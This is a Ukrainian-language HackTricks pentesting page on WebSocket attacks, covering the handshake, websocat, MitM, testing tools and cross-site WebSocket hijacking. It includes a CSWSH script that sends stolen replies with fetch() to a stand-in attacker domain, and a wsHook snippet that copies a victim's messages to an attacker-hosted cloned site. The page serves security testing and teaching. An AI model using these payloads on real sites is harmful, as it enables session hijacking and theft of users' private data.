hacktricks/src/pentesting-web/websocket-attacks.md

14 KiB
Raw Blame History

WebSocket Атаки

{{#include ../banners/hacktricks-training.md}}

Що таке WebSockets

WebSocket з'єднання встановлюються через початковий HTTP рукопашний і призначені для тривалого використання, що дозволяє двостороннє обмін повідомленнями в будь-який час без необхідності в транзакційній системі. Це робить WebSockets особливо вигідними для додатків, які вимагають низької затримки або ініційованого сервером зв'язку, таких як потоки фінансових даних в реальному часі.

Встановлення WebSocket З'єднань

Детальне пояснення про встановлення WebSocket з'єднань можна знайти тут. Підсумовуючи, WebSocket з'єднання зазвичай ініціюються за допомогою JavaScript на стороні клієнта, як показано нижче:

var ws = new WebSocket("wss://normal-website.com/ws")

Протокол wss позначає з'єднання WebSocket, захищене TLS, тоді як ws вказує на незахищене з'єднання.

Під час встановлення з'єднання виконується обмін повідомленнями між браузером і сервером через HTTP. Процес обміну повідомленнями включає в себе надсилання запиту браузером і відповідь сервера, як показано в наступних прикладах:

Браузер надсилає запит на обмін повідомленнями:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Відповідь на хендшейк сервера:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

З'єднання залишається відкритим для обміну повідомленнями в обох напрямках після встановлення.

Ключові моменти рукостискання WebSocket:

  • Заголовки Connection та Upgrade сигналізують про ініціацію рукостискання WebSocket.
  • Заголовок Sec-WebSocket-Version вказує на бажану версію протоколу WebSocket, зазвичай 13.
  • У заголовку Sec-WebSocket-Key надсилається випадкове значення, закодоване в Base64, що забезпечує унікальність кожного рукостискання, що допомагає запобігти проблемам з кешуючими проксі. Це значення не призначене для аутентифікації, а для підтвердження того, що відповідь не згенерована неправильно налаштованим сервером або кешем.
  • Заголовок Sec-WebSocket-Accept у відповіді сервера є хешем Sec-WebSocket-Key, що підтверджує намір сервера відкрити з'єднання WebSocket.

Ці функції забезпечують безпеку та надійність процесу рукостискання, прокладаючи шлях для ефективної комунікації в реальному часі.

Linux console

Ви можете використовувати websocat для встановлення сирого з'єднання з websocket.

websocat --insecure wss://10.10.10.10:8000 -v

Або для створення сервера websocat:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket connections

Якщо ви виявите, що клієнти підключені до HTTP websocket з вашої поточної локальної мережі, ви можете спробувати ARP Spoofing Attack, щоб виконати атаку MitM між клієнтом і сервером.
Якщо клієнт намагається підключитися, ви можете використовувати:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Перерахування Websockets

Ви можете використовувати інструмент https://github.com/PalindromeLabs/STEWS для автоматичного виявлення, ідентифікації та пошуку відомих вразливостей у websockets.

Інструменти налагодження Websocket

  • Burp Suite підтримує MitM комунікацію websockets дуже схожим чином, як це робить для звичайної HTTP комунікації.
  • Розширення socketsleuth для Burp Suite дозволить вам краще керувати комунікаціями Websocket у Burp, отримуючи історію, встановлюючи правила перехоплення, використовуючи правила збігу та заміни, використовуючи Intruder та AutoRepeater.
  • WSSiP: Скорочено від "WebSocket/Socket.io Proxy", цей інструмент, написаний на Node.js, надає інтерфейс для захоплення, перехоплення, надсилання користувацьких повідомлень та перегляду всіх комунікацій WebSocket і Socket.IO між клієнтом і сервером.
  • wsrepl є інтерактивним websocket REPL, спеціально розробленим для тестування на проникнення. Він надає інтерфейс для спостереження за вхідними повідомленнями websocket і надсилання нових, з простим у використанні фреймворком для автоматизації цієї комунікації.
  • https://websocketking.com/ це веб для комунікації з іншими веб-сайтами за допомогою websockets.
  • https://hoppscotch.io/realtime/websocket серед інших типів комунікацій/протоколів, надає веб для комунікації з іншими веб-сайтами за допомогою websockets.

Лабораторія Websocket

У Burp-Suite-Extender-Montoya-Course у вас є код для запуску вебу за допомогою websockets, а в цьому пості ви можете знайти пояснення.

Перехоплення WebSocket між сайтами (CSWSH)

Перехоплення WebSocket між сайтами, також відоме як перехоплення WebSocket з різних джерел, визначається як специфічний випадок Cross-Site Request Forgery (CSRF), що впливає на рукопожаття WebSocket. Ця вразливість виникає, коли рукопожаття WebSocket аутентифікуються виключно через HTTP cookies без CSRF токенів або подібних заходів безпеки.

Зловмисники можуть скористатися цим, розмістивши шкідливу веб-сторінку, яка ініціює з'єднання WebSocket між сайтами до вразливої програми. Внаслідок цього це з'єднання розглядається як частина сесії жертви з програмою, експлуатуючи відсутність захисту CSRF у механізмі обробки сесій.

Простий напад

Зверніть увагу, що при встановленні з'єднання websocket cookie надсилається на сервер. Сервер може використовувати його для пов'язування кожного конкретного користувача з його сесією websocket на основі надісланого cookie.

Тоді, якщо, наприклад, сервер websocket повертає історію розмови користувача, якщо надсилається повідомлення з "READY", тоді простий XSS, що встановлює з'єднання (cookie буде надіслано автоматично для авторизації жертви) надсилаючи "READY" зможе отримати історію розмови.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

В цьому блозі https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ зловмисник зміг виконати довільний Javascript в піддомені домену, де відбувалася комунікація через веб-сокети. Оскільки це був піддомен, cookie надсилався, і оскільки Websocket не перевіряв Origin належним чином, було можливим спілкуватися з ним і викрасти токени.

Stealing data from user

Скопіюйте веб-додаток, який ви хочете наслідувати (файли .html, наприклад), і всередині скрипта, де відбувається комунікація через веб-сокети, додайте цей код:

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Тепер завантажте файл wsHook.js з https://github.com/skepticfx/wshook і збережіть його в папці з веб-файлами.
Відкриваючи веб-додаток і змушуючи користувача підключитися до нього, ви зможете вкрасти надіслані та отримані повідомлення через websocket:

sudo python3 -m http.server 80

Умови гонки

Умови гонки в WebSockets також існують, перевірте цю інформацію, щоб дізнатися більше.

Інші вразливості

Оскільки Web Sockets є механізмом для відправки даних на серверну та клієнтську сторони, залежно від того, як сервер і клієнт обробляють інформацію, Web Sockets можуть бути використані для експлуатації кількох інших вразливостей, таких як XSS, SQLi або будь-яка інша загальна веб-вразливість, використовуючи введення користувача з вебсокета.

WebSocket Smuggling

Ця вразливість може дозволити вам обійти обмеження зворотних проксі, змушуючи їх вірити, що вебсокетне з'єднання було встановлено (навіть якщо це не так). Це може дозволити зловмиснику отримати доступ до прихованих кінцевих точок. Для отримання додаткової інформації перегляньте наступну сторінку:

{{#ref}} h2c-smuggling.md {{#endref}}

Посилання

{{#include ../banners/hacktricks-training.md}}